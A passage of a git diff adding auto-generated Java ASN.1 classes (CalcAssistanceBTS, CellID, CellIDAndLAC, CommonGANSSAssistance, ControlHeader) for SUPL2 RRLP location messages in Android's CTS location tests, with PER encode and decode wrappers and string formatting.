+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl5q5Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CNAVclockModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
new file mode 100755
index 0000000..3ed7ca6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CalcAssistanceBTS extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CalcAssistanceBTS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CalcAssistanceBTS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CalcAssistanceBTS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CalcAssistanceBTS != null) {
+ return ImmutableList.of(TAG_CalcAssistanceBTS);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CalcAssistanceBTS from encoded stream.
+ */
+ public static CalcAssistanceBTS fromPerUnaligned(byte[] encodedBytes) {
+ CalcAssistanceBTS result = new CalcAssistanceBTS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CalcAssistanceBTS from encoded stream.
+ */
+ public static CalcAssistanceBTS fromPerAligned(byte[] encodedBytes) {
+ CalcAssistanceBTS result = new CalcAssistanceBTS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private FineRTD fineRTD_;
+ public FineRTD getFineRTD() {
+ return fineRTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FineRTD
+ */
+ public void setFineRTD(Asn1Object value) {
+ this.fineRTD_ = (FineRTD) value;
+ }
+ public FineRTD setFineRTDToNewInstance() {
+ fineRTD_ = new FineRTD();
+ return fineRTD_;
+ }
+
+ private ReferenceWGS84 referenceWGS84_;
+ public ReferenceWGS84 getReferenceWGS84() {
+ return referenceWGS84_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceWGS84
+ */
+ public void setReferenceWGS84(Asn1Object value) {
+ this.referenceWGS84_ = (ReferenceWGS84) value;
+ }
+ public ReferenceWGS84 setReferenceWGS84ToNewInstance() {
+ referenceWGS84_ = new ReferenceWGS84();
+ return referenceWGS84_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getFineRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFineRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setFineRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FineRTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "fineRTD : "
+ + getFineRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceWGS84() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceWGS84();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceWGS84ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceWGS84.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceWGS84 : "
+ + getReferenceWGS84().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CalcAssistanceBTS = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java
new file mode 100755
index 0000000..77e7aa8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CellID extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_CellID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellID() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellID != null) {
+ return ImmutableList.of(TAG_CellID);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellID from encoded stream.
+ */
+ public static CellID fromPerUnaligned(byte[] encodedBytes) {
+ CellID result = new CellID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellID from encoded stream.
+ */
+ public static CellID fromPerAligned(byte[] encodedBytes) {
+ CellID result = new CellID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CellID = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java
new file mode 100755
index 0000000..edff29a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CellIDAndLAC extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CellIDAndLAC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellIDAndLAC() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellIDAndLAC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellIDAndLAC != null) {
+ return ImmutableList.of(TAG_CellIDAndLAC);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellIDAndLAC from encoded stream.
+ */
+ public static CellIDAndLAC fromPerUnaligned(byte[] encodedBytes) {
+ CellIDAndLAC result = new CellIDAndLAC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellIDAndLAC from encoded stream.
+ */
+ public static CellIDAndLAC fromPerAligned(byte[] encodedBytes) {
+ CellIDAndLAC result = new CellIDAndLAC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LAC referenceLAC_;
+ public LAC getReferenceLAC() {
+ return referenceLAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LAC
+ */
+ public void setReferenceLAC(Asn1Object value) {
+ this.referenceLAC_ = (LAC) value;
+ }
+ public LAC setReferenceLACToNewInstance() {
+ referenceLAC_ = new LAC();
+ return referenceLAC_;
+ }
+
+ private CellID referenceCI_;
+ public CellID getReferenceCI() {
+ return referenceCI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellID
+ */
+ public void setReferenceCI(Asn1Object value) {
+ this.referenceCI_ = (CellID) value;
+ }
+ public CellID setReferenceCIToNewInstance() {
+ referenceCI_ = new CellID();
+ return referenceCI_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceLAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceLAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceLACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LAC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceLAC : "
+ + getReferenceLAC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceCI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceCI();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceCIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceCI : "
+ + getReferenceCI().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CellIDAndLAC = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
new file mode 100755
index 0000000..bab304b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CommonGANSSAssistance extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_CommonGANSSAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CommonGANSSAssistance() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CommonGANSSAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CommonGANSSAssistance != null) {
+ return ImmutableList.of(TAG_CommonGANSSAssistance);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CommonGANSSAssistance from encoded stream.
+ */
+ public static CommonGANSSAssistance fromPerUnaligned(byte[] encodedBytes) {
+ CommonGANSSAssistance result = new CommonGANSSAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CommonGANSSAssistance from encoded stream.
+ */
+ public static CommonGANSSAssistance fromPerAligned(byte[] encodedBytes) {
+ CommonGANSSAssistance result = new CommonGANSSAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CommonGANSSAssistance = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java
new file mode 100755
index 0000000..f72ecd6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java
@@ -0,0 +1,704 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ControlHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ControlHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ControlHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ControlHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ControlHeader != null) {
+ return ImmutableList.of(TAG_ControlHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ControlHeader from encoded stream.
+ */
+ public static ControlHeader fromPerUnaligned(byte[] encodedBytes) {
+ ControlHeader result = new ControlHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ControlHeader from encoded stream.
+ */
+ public static ControlHeader fromPerAligned(byte[] encodedBytes) {
+ ControlHeader result = new ControlHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceTime referenceTime_;
+ public ReferenceTime getReferenceTime() {
+ return referenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceTime
+ */
+ public void setReferenceTime(Asn1Object value) {
+ this.referenceTime_ = (ReferenceTime) value;
+ }
+ public ReferenceTime setReferenceTimeToNewInstance() {
+ referenceTime_ = new ReferenceTime();
+ return referenceTime_;
+ }
+
+ private RefLocation refLocation_;
+ public RefLocation getRefLocation() {
+ return refLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RefLocation
+ */
+ public void setRefLocation(Asn1Object value) {
+ this.refLocation_ = (RefLocation) value;
+ }
+ public RefLocation setRefLocationToNewInstance() {
+ refLocation_ = new RefLocation();
+ return refLocation_;
+ }
+
+ private DGPSCorrections dgpsCorrections_;
+ public DGPSCorrections getDgpsCorrections() {
+ return dgpsCorrections_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSCorrections
+ */
+ public void setDgpsCorrections(Asn1Object value) {
+ this.dgpsCorrections_ = (DGPSCorrections) value;
+ }
+ public DGPSCorrections setDgpsCorrectionsToNewInstance() {
+ dgpsCorrections_ = new DGPSCorrections();
+ return dgpsCorrections_;
+ }
+
+ private NavigationModel navigationModel_;
+ public NavigationModel getNavigationModel() {
+ return navigationModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel
+ */
+ public void setNavigationModel(Asn1Object value) {
+ this.navigationModel_ = (NavigationModel) value;
+ }
+ public NavigationModel setNavigationModelToNewInstance() {
+ navigationModel_ = new NavigationModel();
+ return navigationModel_;
+ }
+
+ private IonosphericModel ionosphericModel_;
+ public IonosphericModel getIonosphericModel() {
+ return ionosphericModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel
+ */
+ public void setIonosphericModel(Asn1Object value) {
+ this.ionosphericModel_ = (IonosphericModel) value;
+ }
+ public IonosphericModel setIonosphericModelToNewInstance() {
+ ionosphericModel_ = new IonosphericModel();
+ return ionosphericModel_;
+ }
+
+ private UTCModel utcModel_;
+ public UTCModel getUtcModel() {
+ return utcModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel
+ */
+ public void setUtcModel(Asn1Object value) {
+ this.utcModel_ = (UTCModel) value;
+ }
+ public UTCModel setUtcModelToNewInstance() {
+ utcModel_ = new UTCModel();
+ return utcModel_;
+ }
+
+ private Almanac almanac_;
+ public Almanac getAlmanac() {
+ return almanac_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac
+ */
+ public void setAlmanac(Asn1Object value) {
+ this.almanac_ = (Almanac) value;
+ }
+ public Almanac setAlmanacToNewInstance() {
+ almanac_ = new Almanac();
+ return almanac_;
+ }
+
+ private AcquisAssist acquisAssist_;
+ public AcquisAssist getAcquisAssist() {
+ return acquisAssist_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisAssist
+ */
+ public void setAcquisAssist(Asn1Object value) {
+ this.acquisAssist_ = (AcquisAssist) value;
+ }
+ public AcquisAssist setAcquisAssistToNewInstance() {
+ acquisAssist_ = new AcquisAssist();
+ return acquisAssist_;
+ }
+
+ private SeqOf_BadSatelliteSet realTimeIntegrity_;
+ public SeqOf_BadSatelliteSet getRealTimeIntegrity() {
+ return realTimeIntegrity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOf_BadSatelliteSet
+ */
+ public void setRealTimeIntegrity(Asn1Object value) {
+ this.realTimeIntegrity_ = (SeqOf_BadSatelliteSet) value;
+ }
+ public SeqOf_BadSatelliteSet setRealTimeIntegrityToNewInstance() {
+ realTimeIntegrity_ = new SeqOf_BadSatelliteSet();
+ return realTimeIntegrity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceTime : "
+ + getReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RefLocation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refLocation : "
+ + getRefLocation().toIndentedString(indent);
+ }
+ });
+
